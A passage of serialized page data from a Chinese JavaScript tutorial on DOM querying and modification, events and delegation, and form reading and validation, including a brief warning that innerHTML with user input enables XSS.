集合与静态快照，别记混",[308,69378,69380],{"className":942,"code":69379,"language":944,"meta":314,"style":314},"const live = list.getElementsByClassName('card')  \u002F\u002F live：DOM 变了它跟着变\nconst snap = list.querySelectorAll('.card')       \u002F\u002F 静态快照：查询那一刻定死\n",[22,69381,69382,69406],{"__ignoreMap":314},[331,69383,69384,69386,69389,69391,69393,69396,69398,69401,69403],{"class":333,"line":334},[331,69385,951],{"class":616},[331,69387,69388],{"class":344}," live",[331,69390,957],{"class":616},[331,69392,66084],{"class":337},[331,69394,69395],{"class":501},"getElementsByClassName",[331,69397,966],{"class":337},[331,69399,69400],{"class":365},"'card'",[331,69402,66281],{"class":337},[331,69404,69405],{"class":1003},"\u002F\u002F live：DOM 变了它跟着变\n",[331,69407,69408,69410,69413,69415,69417,69419,69421,69423,69425],{"class":333,"line":341},[331,69409,951],{"class":616},[331,69411,69412],{"class":344}," snap",[331,69414,957],{"class":616},[331,69416,66084],{"class":337},[331,69418,69165],{"class":501},[331,69420,966],{"class":337},[331,69422,69153],{"class":365},[331,69424,20939],{"class":337},[331,69426,69427],{"class":1003},"\u002F\u002F 静态快照：查询那一刻定死\n",[11,69429,69430,69431,1901,69433,69436,69437,69440,69441,66288,69443,69446,69447,69449],{},"老接口（",[22,69432,69395],{},[22,69434,69435],{},"getElementsByTagName","）返回",[17,69438,69439],{},"实时联动","的 HTMLCollection，",[22,69442,69165],{},[17,69444,69445],{},"定格快照","的 NodeList。示例里追加一张卡片就能看到两种行为分道扬镳。日常首选 ",[22,69448,69165],{},"，行为可预期；需要最新结果重新查询一次就好。",[4748,69451],{"height":4750,"src":69452,"title":69453},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F13-dom-select.html","示例 13：DOM 查询——找到页面上的元素",[48,69455,69457],{"id":69456},"十四修改-dom怎么把页面改出内容","十四、修改 DOM：怎么把页面改出内容",[11,69459,69460,69461,161],{},"找到元素之后就是「改」。手段按重要性排序：创建与挂载、改内容、改状态、删除，最后组装成日常最常用的结构——",[17,69462,69463],{},"渲染函数",[53,69465,69467],{"id":69466},"创建拼装挂载三步造一个节点","创建、拼装、挂载：三步造一个节点",[308,69469,69471],{"className":942,"code":69470,"language":944,"meta":314,"style":314},"const li = document.createElement('li')   \u002F\u002F ① 造：游离在内存，还没上树\nli.className = 'item'\nli.textContent = '写周报'\n\nconst list = document.querySelector('#todo-list')\nlist.append(li)      \u002F\u002F ② 挂到子节点末尾；prepend 挂到开头\n",[22,69472,69473,69496,69506,69516,69520,69539],{"__ignoreMap":314},[331,69474,69475,69477,69480,69482,69484,69486,69488,69491,69493],{"class":333,"line":334},[331,69476,951],{"class":616},[331,69478,69479],{"class":344}," li",[331,69481,957],{"class":616},[331,69483,960],{"class":337},[331,69485,1565],{"class":501},[331,69487,966],{"class":337},[331,69489,69490],{"class":365},"'li'",[331,69492,62134],{"class":337},[331,69494,69495],{"class":1003},"\u002F\u002F ① 造：游离在内存，还没上树\n",[331,69497,69498,69501,69503],{"class":333,"line":341},[331,69499,69500],{"class":337},"li.className ",[331,69502,518],{"class":616},[331,69504,69505],{"class":365}," 'item'\n",[331,69507,69508,69511,69513],{"class":333,"line":357},[331,69509,69510],{"class":337},"li.textContent ",[331,69512,518],{"class":616},[331,69514,69515],{"class":365}," '写周报'\n",[331,69517,69518],{"class":333,"line":371},[331,69519,998],{"emptyLinePlaceholder":997},[331,69521,69522,69524,69526,69528,69530,69532,69534,69537],{"class":333,"line":384},[331,69523,951],{"class":616},[331,69525,10160],{"class":344},[331,69527,957],{"class":616},[331,69529,960],{"class":337},[331,69531,963],{"class":501},[331,69533,966],{"class":337},[331,69535,69536],{"class":365},"'#todo-list'",[331,69538,972],{"class":337},[331,69540,69541,69543,69545,69548],{"class":333,"line":397},[331,69542,66046],{"class":337},[331,69544,1625],{"class":501},[331,69546,69547],{"class":337},"(li)      ",[331,69549,69550],{"class":1003},"\u002F\u002F ② 挂到子节点末尾；prepend 挂到开头\n",[11,69552,69553,69554,1901,69557,69560,69561,69564,69565,69568,69569,161],{},"先在内存里把子树拼装好、最后一步挂树，只触发一次布局；边挂边补会反复触发，规模一大就卡。插入全家桶还有 ",[22,69555,69556],{},"before",[22,69558,69559],{},"after","（自己的前\u002F后）、",[22,69562,69563],{},"replaceWith","；删除用 ",[22,69566,69567],{},"el.remove()","；清空子节点用 ",[22,69570,69571],{},"list.replaceChildren()",[53,69573,69575],{"id":69574},"改内容textcontent-与-innerhtml-的分界","改内容：textContent 与 innerHTML 的分界",[308,69577,69579],{"className":942,"code":69578,"language":944,"meta":314,"style":314},"el.textContent = '\u003Cb>加粗\u003C\u002Fb>'   \u002F\u002F 原样当纯文本：页面上就是这串字符\nel.innerHTML  = '\u003Cb>加粗\u003C\u002Fb>'    \u002F\u002F 交给浏览器解析：真的变成加粗文字\n",[22,69580,69581,69594],{"__ignoreMap":314},[331,69582,69583,69586,69588,69591],{"class":333,"line":334},[331,69584,69585],{"class":337},"el.textContent ",[331,69587,518],{"class":616},[331,69589,69590],{"class":365}," '\u003Cb>加粗\u003C\u002Fb>'",[331,69592,69593],{"class":1003},"   \u002F\u002F 原样当纯文本：页面上就是这串字符\n",[331,69595,69596,69599,69601,69603],{"class":333,"line":341},[331,69597,69598],{"class":337},"el.innerHTML  ",[331,69600,518],{"class":616},[331,69602,69590],{"class":365},[331,69604,69605],{"class":1003},"    \u002F\u002F 交给浏览器解析：真的变成加粗文字\n",[11,69607,69608,69609,69612,69613,69616],{},"铁律：",[17,69610,69611],{},"挂用户输入永远走 textContent","。innerHTML 只用于你完全掌控的模板字符串——评论框里塞一段 ",[22,69614,69615],{},"\u003Cimg onerror=…>","，innerHTML 会当场把脚本执行了，这就是 XSS 的入口。",[53,69618,69620],{"id":69619},"改状态classlist-与-dataset","改状态：classList 与 dataset",[308,69622,69624],{"className":942,"code":69623,"language":944,"meta":314,"style":314},"el.classList.add('done')       \u002F\u002F 加\nel.classList.remove('done')    \u002F\u002F 删\nel.classList.toggle('done')    \u002F\u002F 切换，返回最终是否含有\nel.classList.contains('done')  \u002F\u002F 查\n\nel.dataset.index = 2           \u002F\u002F 写入 → 页面上是 data-index=\"2\"\nel.dataset.index               \u002F\u002F 读回——永远是字符串\n",[22,69625,69626,69644,69659,69674,69690,69694,69706],{"__ignoreMap":314},[331,69627,69628,69631,69634,69636,69639,69641],{"class":333,"line":334},[331,69629,69630],{"class":337},"el.classList.",[331,69632,69633],{"class":501},"add",[331,69635,966],{"class":337},[331,69637,69638],{"class":365},"'done'",[331,69640,20939],{"class":337},[331,69642,69643],{"class":1003},"\u002F\u002F 加\n",[331,69645,69646,69648,69650,69652,69654,69656],{"class":333,"line":341},[331,69647,69630],{"class":337},[331,69649,1537],{"class":501},[331,69651,966],{"class":337},[331,69653,69638],{"class":365},[331,69655,65877],{"class":337},[331,69657,69658],{"class":1003},"\u002F\u002F 删\n",[331,69660,69661,69663,69665,69667,69669,69671],{"class":333,"line":357},[331,69662,69630],{"class":337},[331,69664,34310],{"class":501},[331,69666,966],{"class":337},[331,69668,69638],{"class":365},[331,69670,65877],{"class":337},[331,69672,69673],{"class":1003},"\u002F\u002F 切换，返回最终是否含有\n",[331,69675,69676,69678,69681,69683,69685,69687],{"class":333,"line":371},[331,69677,69630],{"class":337},[331,69679,69680],{"class":501},"contains",[331,69682,966],{"class":337},[331,69684,69638],{"class":365},[331,69686,66281],{"class":337},[331,69688,69689],{"class":1003},"\u002F\u002F 查\n",[331,69691,69692],{"class":333,"line":384},[331,69693,998],{"emptyLinePlaceholder":997},[331,69695,69696,69699,69701,69703],{"class":333,"line":397},[331,69697,69698],{"class":337},"el.dataset.index ",[331,69700,518],{"class":616},[331,69702,18023],{"class":344},[331,69704,69705],{"class":1003},"           \u002F\u002F 写入 → 页面上是 data-index=\"2\"\n",[331,69707,69708,69711],{"class":333,"line":418},[331,69709,69710],{"class":337},"el.dataset.index               ",[331,69712,69713],{"class":1003},"\u002F\u002F 读回——永远是字符串\n",[11,69715,69716,69717,69719,69720,69723],{},"样式交给 class、附加状态记进 ",[22,69718,25989],{},"、真正的数据放 JS 变量——「三权分立」。不必用 ",[22,69721,69722],{},"el.style.xxx"," 一个个敷（除非是真正动态计算的值），换一批 class 更整洁。",[53,69725,69727],{"id":69726},"渲染函数数据-dom变了就重建","渲染函数：数据 → DOM，变了就重建",[308,69729,69731],{"className":942,"code":69730,"language":944,"meta":314,"style":314},"let tasks = [ … ]\n\nfunction renderTasks() {\n  list.replaceChildren()                 \u002F\u002F 清空\n  tasks.forEach((task, index) => {\n    const li = document.createElement('li')\n    li.dataset.index = index\n    li.textContent = task.text\n    list.append(li)\n  })\n}\n",[22,69732,69733,69745,69749,69758,69772,69794,69812,69822,69832,69842,69847],{"__ignoreMap":314},[331,69734,69735,69737,69740,69742],{"class":333,"line":334},[331,69736,18926],{"class":616},[331,69738,69739],{"class":337}," tasks ",[331,69741,518],{"class":616},[331,69743,69744],{"class":337}," [ … ]\n",[331,69746,69747],{"class":333,"line":341},[331,69748,998],{"emptyLinePlaceholder":997},[331,69750,69751,69753,69756],{"class":333,"line":357},[331,69752,3047],{"class":616},[331,69754,69755],{"class":501}," renderTasks",[331,69757,1072],{"class":337},[331,69759,69760,69763,69766,69769],{"class":333,"line":371},[331,69761,69762],{"class":337},"  list.",[331,69764,69765],{"class":501},"replaceChildren",[331,69767,69768],{"class":337},"()                 ",[331,69770,69771],{"class":1003},"\u002F\u002F 清空\n",[331,69773,69774,69777,69779,69781,69784,69786,69788,69790,69792],{"class":333,"line":384},[331,69775,69776],{"class":337},"  tasks.",[331,69778,69241],{"class":501},[331,69780,3175],{"class":337},[331,69782,69783],{"class":2472},"task",[331,69785,409],{"class":337},[331,69787,13477],{"class":2472},[331,69789,3180],{"class":337},[331,69791,1489],{"class":616},[331,69793,1100],{"class":337},[331,69795,69796,69798,69800,69802,69804,69806,69808,69810],{"class":333,"line":397},[331,69797,1105],{"class":616},[331,69799,69479],{"class":344},[331,69801,957],{"class":616},[331,69803,960],{"class":337},[331,69805,1565],{"class":501},[331,69807,966],{"class":337},[331,69809,69490],{"class":365},[331,69811,972],{"class":337},[331,69813,69814,69817,69819],{"class":333,"line":418},[331,69815,69816],{"class":337},"    li.dataset.index ",[331,69818,518],{"class":616},[331,69820,69821],{"class":337}," index\n",[331,69823,69824,69827,69829],{"class":333,"line":427},[331,69825,69826],{"class":337},"    li.textContent ",[331,69828,518],{"class":616},[331,69830,69831],{"class":337}," task.text\n",[331,69833,69834,69837,69839],{"class":333,"line":439},[331,69835,69836],{"class":337},"    list.",[331,69838,1625],{"class":501},[331,69840,69841],{"class":337},"(li)\n",[331,69843,69844],{"class":333,"line":450},[331,69845,69846],{"class":337},"  })\n",[331,69848,69849],{"class":333,"line":456},[331,69850,459],{"class":337},[11,69852,69853,69854,69857,69858,69861,69862,69864],{},"数据变了就改数组、然后 ",[22,69855,69856],{},"renderTasks()"," 整块重建。看着「笨」（全删重造），换来一个关键好处：",[17,69859,69860],{},"任何时刻 DOM 都严格等于数据的投影","，不存在「忘了同步某处」的状态不一致——这正是 Vue 等框架的思路源头。反过来，用 ",[22,69863,69567],{}," 直接删节点、绕过数据，下一次重建它就会复活：数据才是真相源。",[53,69866,69868],{"id":69867},"事件委托预告重建后按钮还能点","事件委托预告：重建后按钮还能点",[11,69870,69871,69872,69874,69875,7131,69878,69881],{},"整块重建后，旧节点上的监听器全部作废。如果每次重建都重新绑定，代码会碎成一地 ",[22,69873,1399],{},"。更省事的做法是",[17,69876,69877],{},"把监听器挂在容器上",[22,69879,69880],{},"e.target.closest('.item')"," 判断点击落点——容器绑一次，子孙随便换。它的完整原理就是下一章。",[4748,69883],{"height":5635,"src":69884,"title":69885},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F14-dom-modify.html","示例 14：修改 DOM——从 createElement 到渲染函数",[48,69887,69889],{"id":69888},"十五事件用户和页面的对话","十五、事件：用户和页面的对话",[11,69891,69892,69893,69895],{},"前面几章一直在用 ",[22,69894,1399],{},"，现在把它的全貌补齐：事件对象里有什么、一次点击到底走了哪条路、为什么监听器该挂在容器上而不是每个按钮上。",[53,69897,69899],{"id":69898},"监听移除与选项","监听、移除与选项",[308,69901,69903],{"className":942,"code":69902,"language":944,"meta":314,"style":314},"const onClick = (e) => { … }\nbtn.addEventListener('click', onClick)\n\nbtn.addEventListener('click', onClick, { once: true })     \u002F\u002F 触发一次后自动移除\nbtn.addEventListener('click', onClick, { capture: true })  \u002F\u002F 在捕获阶段接\nbtn.removeEventListener('click', onClick)  \u002F\u002F 移除：必须传「同一个函数引用」\n",[22,69904,69905,69925,69938,69942,69962,69982],{"__ignoreMap":314},[331,69906,69907,69909,69912,69914,69916,69918,69920,69922],{"class":333,"line":334},[331,69908,951],{"class":616},[331,69910,69911],{"class":501}," onClick",[331,69913,957],{"class":616},[331,69915,1147],{"class":337},[331,69917,9481],{"class":2472},[331,69919,3180],{"class":337},[331,69921,1489],{"class":616},[331,69923,69924],{"class":337}," { … }\n",[331,69926,69927,69929,69931,69933,69935],{"class":333,"line":341},[331,69928,62091],{"class":337},[331,69930,1399],{"class":501},[331,69932,966],{"class":337},[331,69934,1404],{"class":365},[331,69936,69937],{"class":337},", onClick)\n",[331,69939,69940],{"class":333,"line":357},[331,69941,998],{"emptyLinePlaceholder":997},[331,69943,69944,69946,69948,69950,69952,69955,69957,69959],{"class":333,"line":371},[331,69945,62091],{"class":337},[331,69947,1399],{"class":501},[331,69949,966],{"class":337},[331,69951,1404],{"class":365},[331,69953,69954],{"class":337},", onClick, { once: ",[331,69956,1131],{"class":344},[331,69958,7167],{"class":337},[331,69960,69961],{"class":1003},"\u002F\u002F 触发一次后自动移除\n",[331,69963,69964,69966,69968,69970,69972,69975,69977,69979],{"class":333,"line":384},[331,69965,62091],{"class":337},[331,69967,1399],{"class":501},[331,69969,966],{"class":337},[331,69971,1404],{"class":365},[331,69973,69974],{"class":337},", onClick, { capture: ",[331,69976,1131],{"class":344},[331,69978,9582],{"class":337},[331,69980,69981],{"class":1003},"\u002F\u002F 在捕获阶段接\n",[331,69983,69984,69986,69988,69990,69992,69995],{"class":333,"line":397},[331,69985,62091],{"class":337},[331,69987,62203],{"class":501},[331,69989,966],{"class":337},[331,69991,1404],{"class":365},[331,69993,69994],{"class":337},", onClick)  ",[331,69996,69997],{"class":1003},"\u002F\u002F 移除：必须传「同一个函数引用」\n",[11,69999,70000,70001,70003],{},"移除有个高频坑：",[22,70002,62203],{}," 靠函数引用识别，传一个新写的箭头函数毫无作用——处理函数要先存成变量，注册和移除传的是同一个。",[53,70005,70007],{"id":70006},"事件对象target-与-currenttarget","事件对象：target 与 currentTarget",[308,70009,70011],{"className":942,"code":70010,"language":944,"meta":314,"style":314},"list.addEventListener('click', (e) => {\n  e.target          \u002F\u002F 实际被点中的元素（可能很深，比如按钮里的文字）\n  e.currentTarget   \u002F\u002F 监听器挂着的元素（这里就是 list）\n  e.type            \u002F\u002F 'click'\n})\n",[22,70012,70013,70033,70041,70049,70057],{"__ignoreMap":314},[331,70014,70015,70017,70019,70021,70023,70025,70027,70029,70031],{"class":333,"line":334},[331,70016,66046],{"class":337},[331,70018,1399],{"class":501},[331,70020,966],{"class":337},[331,70022,1404],{"class":365},[331,70024,14706],{"class":337},[331,70026,9481],{"class":2472},[331,70028,3180],{"class":337},[331,70030,1489],{"class":616},[331,70032,1100],{"class":337},[331,70034,70035,70038],{"class":333,"line":341},[331,70036,70037],{"class":337},"  e.target          ",[331,70039,70040],{"class":1003},"\u002F\u002F 实际被点中的元素（可能很深，比如按钮里的文字）\n",[331,70042,70043,70046],{"class":333,"line":357},[331,70044,70045],{"class":337},"  e.currentTarget   ",[331,70047,70048],{"class":1003},"\u002F\u002F 监听器挂着的元素（这里就是 list）\n",[331,70050,70051,70054],{"class":333,"line":371},[331,70052,70053],{"class":337},"  e.type            ",[331,70055,70056],{"class":1003},"\u002F\u002F 'click'\n",[331,70058,70059],{"class":333,"line":384},[331,70060,5399],{"class":337},[11,70062,70063,70064,70067],{},"事件从 document 向下「捕获」、到达目标、再向上「冒泡」。监听器默认在冒泡阶段触发；加了 ",[22,70065,70066],{},"{ capture: true }"," 就在下行阶段触发。点内层元素时祖孙三代的监听器都会收到——示例里把这条链完整打印了一遍，对照着看一遍就不会再记混。",[53,70069,70071],{"id":70070},"事件委托一器多用","事件委托：一器多用",[11,70073,70074,70075,322],{},"冒泡带来一个工程上的大招。列表有 100 个条目，逐个绑监听器就是 100 个函数，重建后还要全部重绑。换成",[17,70076,70077],{},"只在容器上绑一个",[308,70079,70081],{"className":942,"code":70080,"language":944,"meta":314,"style":314},"ul.addEventListener('click', (e) => {\n  const li = e.target.closest('.item')   \u002F\u002F 不管点得多深，先回到条目\n  if (!li) return\n  if (e.target.closest('.del')) { li.remove(); return }   \u002F\u002F 点中删除按钮\n  li.classList.toggle('done')                              \u002F\u002F 否则算切换完成\n})\n",[22,70082,70083,70104,70127,70140,70169,70186],{"__ignoreMap":314},[331,70084,70085,70088,70090,70092,70094,70096,70098,70100,70102],{"class":333,"line":334},[331,70086,70087],{"class":337},"ul.",[331,70089,1399],{"class":501},[331,70091,966],{"class":337},[331,70093,1404],{"class":365},[331,70095,14706],{"class":337},[331,70097,9481],{"class":2472},[331,70099,3180],{"class":337},[331,70101,1489],{"class":616},[331,70103,1100],{"class":337},[331,70105,70106,70108,70110,70112,70115,70117,70119,70122,70124],{"class":333,"line":341},[331,70107,1496],{"class":616},[331,70109,69479],{"class":344},[331,70111,957],{"class":616},[331,70113,70114],{"class":337}," e.target.",[331,70116,69337],{"class":501},[331,70118,966],{"class":337},[331,70120,70121],{"class":365},"'.item'",[331,70123,62134],{"class":337},[331,70125,70126],{"class":1003},"\u002F\u002F 不管点得多深，先回到条目\n",[331,70128,70129,70131,70133,70135,70138],{"class":333,"line":357},[331,70130,1526],{"class":616},[331,70132,1147],{"class":337},[331,70134,1150],{"class":616},[331,70136,70137],{"class":337},"li) ",[331,70139,23230],{"class":616},[331,70141,70142,70144,70147,70149,70151,70154,70157,70159,70162,70164,70166],{"class":333,"line":371},[331,70143,1526],{"class":616},[331,70145,70146],{"class":337}," (e.target.",[331,70148,69337],{"class":501},[331,70150,966],{"class":337},[331,70152,70153],{"class":365},"'.del'",[331,70155,70156],{"class":337},")) { li.",[331,70158,1537],{"class":501},[331,70160,70161],{"class":337},"(); ",[331,70163,10859],{"class":616},[331,70165,5391],{"class":337},[331,70167,70168],{"class":1003},"\u002F\u002F 点中删除按钮\n",[331,70170,70171,70174,70176,70178,70180,70183],{"class":333,"line":384},[331,70172,70173],{"class":337},"  li.classList.",[331,70175,34310],{"class":501},[331,70177,966],{"class":337},[331,70179,69638],{"class":365},[331,70181,70182],{"class":337},")                              ",[331,70184,70185],{"class":1003},"\u002F\u002F 否则算切换完成\n",[331,70187,70188],{"class":333,"line":397},[331,70189,5399],{"class":337},[11,70191,70192,70193,70196,70197,70200,70201,70204],{},"好处一次说完：",[17,70194,70195],{},"动态新增的条目自动生效","（不用补绑）、",[17,70198,70199],{},"重建后不失效","（容器没换）、",[17,70202,70203],{},"监听器数量与条目数无关","（省内存）。这也是上一章渲染函数敢「全删重造」的底气。",[53,70206,70208],{"id":70207},"preventdefault把浏览器的默认动作拦下来","preventDefault：把浏览器的默认动作拦下来",[11,70210,70211],{},"浏览器对很多事件有内置动作：点链接会跳转、提交表单会刷新页面、右键弹菜单。想接管就先拦：",[308,70213,70215],{"className":942,"code":70214,"language":944,"meta":314,"style":314},"link.addEventListener('click', (e) => {\n  e.preventDefault()   \u002F\u002F 取消默认动作\n  \u002F\u002F 校验、确认框、异步提交……自己安排\n})\n",[22,70216,70217,70238,70251,70256],{"__ignoreMap":314},[331,70218,70219,70222,70224,70226,70228,70230,70232,70234,70236],{"class":333,"line":334},[331,70220,70221],{"class":337},"link.",[331,70223,1399],{"class":501},[331,70225,966],{"class":337},[331,70227,1404],{"class":365},[331,70229,14706],{"class":337},[331,70231,9481],{"class":2472},[331,70233,3180],{"class":337},[331,70235,1489],{"class":616},[331,70237,1100],{"class":337},[331,70239,70240,70243,70246,70248],{"class":333,"line":341},[331,70241,70242],{"class":337},"  e.",[331,70244,70245],{"class":501},"preventDefault",[331,70247,32115],{"class":337},[331,70249,70250],{"class":1003},"\u002F\u002F 取消默认动作\n",[331,70252,70253],{"class":333,"line":357},[331,70254,70255],{"class":1003},"  \u002F\u002F 校验、确认框、异步提交……自己安排\n",[331,70257,70258],{"class":333,"line":371},[331,70259,5399],{"class":337},[11,70261,70262,70263,70265,70266,70269,70270,70265,70273,70276],{},"两个「拦」别用混：",[22,70264,70245],{}," 拦",[17,70267,70268],{},"默认动作","（事件本身还能继续冒泡）；",[22,70271,70272],{},"stopPropagation",[17,70274,70275],{},"事件传播","（默认动作不受影响）。",[53,70278,70279],{"id":70279},"常见事件类型速查",[57,70281,70282,70293],{},[60,70283,70284],{},[63,70285,70286,70288,70290],{},[66,70287,19391],{},[66,70289,14272],{},[66,70291,70292],{},"常用场景",[79,70294,70295,70308,70320,70332,70344,70364,70380],{},[63,70296,70297,70302,70305],{},[84,70298,70299],{},[22,70300,70301],{},"click",[84,70303,70304],{},"点击（键盘在按钮上回车也算）",[84,70306,70307],{},"几乎所有交互",[63,70309,70310,70314,70317],{},[84,70311,70312],{},[22,70313,19733],{},[84,70315,70316],{},"每次输入、粘贴、删除",[84,70318,70319],{},"实时校验、搜索建议",[63,70321,70322,70326,70329],{},[84,70323,70324],{},[22,70325,23079],{},[84,70327,70328],{},"值确定改变且失焦（select \u002F checkbox 立即）",[84,70330,70331],{},"下拉选择、勾选",[63,70333,70334,70338,70341],{},[84,70335,70336],{},[22,70337,25564],{},[84,70339,70340],{},"表单提交",[84,70342,70343],{},"拦默认、校验通过再放行",[63,70345,70346,70354,70361],{},[84,70347,70348,1901,70351],{},[22,70349,70350],{},"keydown",[22,70352,70353],{},"keyup",[84,70355,70356,70357,70360],{},"按下 \u002F 松开键，",[22,70358,70359],{},"e.key"," 拿键名",[84,70362,70363],{},"回车提交、快捷键",[63,70365,70366,70374,70377],{},[84,70367,70368,1901,70371],{},[22,70369,70370],{},"mouseenter",[22,70372,70373],{},"mouseleave",[84,70375,70376],{},"鼠标进入 \u002F 离开（不冒泡）",[84,70378,70379],{},"悬停效果",[63,70381,70382,70387,70389],{},[84,70383,70384],{},[22,70385,70386],{},"scroll",[84,70388,32805],{},[84,70390,70391],{},"吸顶、懒加载",[11,70393,70394],{},"用到再查、查了记住用法即可；找不到名字时去 MDN 搜「事件名 + MDN」是最快的路。",[4748,70396],{"height":24189,"src":70397,"title":70398},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F15-events.html","示例 15：事件——冒泡、委托与默认行为",[48,70400,70402],{"id":70401},"十六表单读取校验与提交","十六、表单：读取、校验与提交",[11,70404,70405],{},"表单是页面上唯一「用户往里写数据」的地方。把它拆成四件事：读取控件、实时反馈、拦下默认提交、校验通过后组装数据——按顺序走一遍，表单就没有神秘感了。",[53,70407,70409],{"id":70408},"读取控件value-与-checked","读取控件：value 与 checked",[308,70411,70413],{"className":485,"code":70412,"language":487,"meta":314,"style":314},"\u003Cinput id=\"f-name\" type=\"text\">\n\u003Cselect id=\"f-city\">\u003Coption>杭州\u003C\u002Foption>…\u003C\u002Fselect>\n\u003Cinput type=\"checkbox\" name=\"interest\" value=\"js\">\n",[22,70414,70415,70436,70464],{"__ignoreMap":314},[331,70416,70417,70419,70421,70423,70425,70428,70430,70432,70434],{"class":333,"line":334},[331,70418,510],{"class":337},[331,70420,19733],{"class":497},[331,70422,827],{"class":501},[331,70424,518],{"class":337},[331,70426,70427],{"class":365},"\"f-name\"",[331,70429,835],{"class":501},[331,70431,518],{"class":337},[331,70433,23047],{"class":365},[331,70435,505],{"class":337},[331,70437,70438,70440,70442,70444,70446,70449,70451,70453,70456,70458,70460,70462],{"class":333,"line":341},[331,70439,510],{"class":337},[331,70441,33506],{"class":497},[331,70443,827],{"class":501},[331,70445,518],{"class":337},[331,70447,70448],{"class":365},"\"f-city\"",[331,70450,7082],{"class":337},[331,70452,33523],{"class":497},[331,70454,70455],{"class":337},">杭州\u003C\u002F",[331,70457,33523],{"class":497},[331,70459,6274],{"class":337},[331,70461,33506],{"class":497},[331,70463,505],{"class":337},[331,70465,70466,70468,70470,70472,70474,70476,70478,70480,70483,70485,70487,70490],{"class":333,"line":357},[331,70467,510],{"class":337},[331,70469,19733],{"class":497},[331,70471,835],{"class":501},[331,70473,518],{"class":337},[331,70475,23385],{"class":365},[331,70477,559],{"class":501},[331,70479,518],{"class":337},[331,70481,70482],{"class":365},"\"interest\"",[331,70484,33526],{"class":501},[331,70486,518],{"class":337},[331,70488,70489],{"class":365},"\"js\"",[331,70491,505],{"class":337},[308,70493,70495],{"className":942,"code":70494,"language":944,"meta":314,"style":314},"nameInput.value        \u002F\u002F 文本框、密码框、下拉框：都用 .value（字符串）\ncheckbox.checked       \u002F\u002F 复选框、单选框：用 .checked（true \u002F false）\nform.querySelectorAll('input[name=\"interest\"]:checked')   \u002F\u002F 只挑勾上的\n",[22,70496,70497,70505,70513],{"__ignoreMap":314},[331,70498,70499,70502],{"class":333,"line":334},[331,70500,70501],{"class":337},"nameInput.value        ",[331,70503,70504],{"class":1003},"\u002F\u002F 文本框、密码框、下拉框：都用 .value（字符串）\n",[331,70506,70507,70510],{"class":333,"line":341},[331,70508,70509],{"class":337},"checkbox.checked       ",[331,70511,70512],{"class":1003},"\u002F\u002F 复选框、单选框：用 .checked（true \u002F false）\n",[331,70514,70515,70518,70520,70522,70525,70527],{"class":333,"line":357},[331,70516,70517],{"class":337},"form.",[331,70519,69165],{"class":501},[331,70521,966],{"class":337},[331,70523,70524],{"class":365},"'input[name=\"interest\"]:checked'",[331,70526,62134],{"class":337},[331,70528,70529],{"class":1003},"\u002F\u002F 只挑勾上的\n",[11,70531,70532,70535,70536,70539,70540,70543],{},[22,70533,70534],{},":checked"," 是 CSS 伪类选择器在查询里的又一次复用。整表一把抓用 ",[22,70537,70538],{},"new FormData(form)","：可遍历出「键 → 值」序列。两个细节要记住：",[17,70541,70542],{},"没勾的复选框根本不在 FormData 里","；同名多选会各占一条。",[11,70545,70546],{},"手工组装对象 vs FormData 各有场景：手工版本只收想要的字段、能把值转成数字、勾选项收成数组；FormData 原貌打包，适合整个表单原样发给后端。",[53,70548,70550],{"id":70549},"input-事件输入时实时反馈","input 事件：输入时实时反馈",[308,70552,70554],{"className":942,"code":70553,"language":944,"meta":314,"style":314},"emailInput.addEventListener('input', () => {\n  const ok = \u002F^\\S+@\\S+\\.\\S+$\u002F.test(emailInput.value.trim())\n  hint.textContent = ok ? '格式看起来没问题' : '需要 名称@域名 的形式'\n})\n",[22,70555,70556,70574,70619,70639],{"__ignoreMap":314},[331,70557,70558,70561,70563,70565,70568,70570,70572],{"class":333,"line":334},[331,70559,70560],{"class":337},"emailInput.",[331,70562,1399],{"class":501},[331,70564,966],{"class":337},[331,70566,70567],{"class":365},"'input'",[331,70569,8322],{"class":337},[331,70571,1489],{"class":616},[331,70573,1100],{"class":337},[331,70575,70576,70578,70581,70583,70585,70587,70590,70592,70594,70596,70598,70601,70603,70606,70608,70610,70612,70615,70617],{"class":333,"line":341},[331,70577,1496],{"class":616},[331,70579,70580],{"class":344}," ok",[331,70582,957],{"class":616},[331,70584,6544],{"class":365},[331,70586,1170],{"class":616},[331,70588,70589],{"class":344},"\\S",[331,70591,12714],{"class":616},[331,70593,20285],{"class":1173},[331,70595,70589],{"class":344},[331,70597,12714],{"class":616},[331,70599,70600],{"class":1183},"\\.",[331,70602,70589],{"class":344},[331,70604,70605],{"class":616},"+$",[331,70607,655],{"class":365},[331,70609,1192],{"class":337},[331,70611,1195],{"class":501},[331,70613,70614],{"class":337},"(emailInput.value.",[331,70616,23165],{"class":501},[331,70618,28267],{"class":337},[331,70620,70621,70624,70626,70629,70631,70634,70636],{"class":333,"line":357},[331,70622,70623],{"class":337},"  hint.textContent ",[331,70625,518],{"class":616},[331,70627,70628],{"class":337}," ok ",[331,70630,1177],{"class":616},[331,70632,70633],{"class":365}," '格式看起来没问题'",[331,70635,2636],{"class":616},[331,70637,70638],{"class":365}," '需要 名称@域名 的形式'\n",[331,70640,70641],{"class":333,"line":371},[331,70642,5399],{"class":337},[11,70644,70645,70647,70648,70650],{},[22,70646,19733],{}," 每次改动都触发（打一个字也触发），用来做即时提示；",[22,70649,23079],{}," 在失焦且值改变后才触发，适合「确定后再生效」的场景。",[53,70652,70654],{"id":70653},"submit拦下默认提交统一校验","submit：拦下默认提交，统一校验",[308,70656,70658],{"className":942,"code":70657,"language":944,"meta":314,"style":314},"form.addEventListener('submit', (e) => {\n  e.preventDefault()      \u002F\u002F 不拦的话：页面刷新，你所有的 JS 状态清零\n  const errors = {}       \u002F\u002F 「字段 → 提示语」的错误对象\n  if (!name.value.trim()) errors.name = '名字不能为空'\n  if (!\u002F^\\S+@\\S+\\.\\S+$\u002F.test(email.value)) errors.email = '邮箱格式不对'\n  if (!agree.checked) errors.agree = '需要先同意条款'\n  renderErrors(errors)    \u002F\u002F 用 Object.entries 逐个写到字段旁边\n  if (Object.keys(errors).length) return   \u002F\u002F 有错就停\n  \u002F\u002F 校验通过：组装数据，交给后端（第十九章 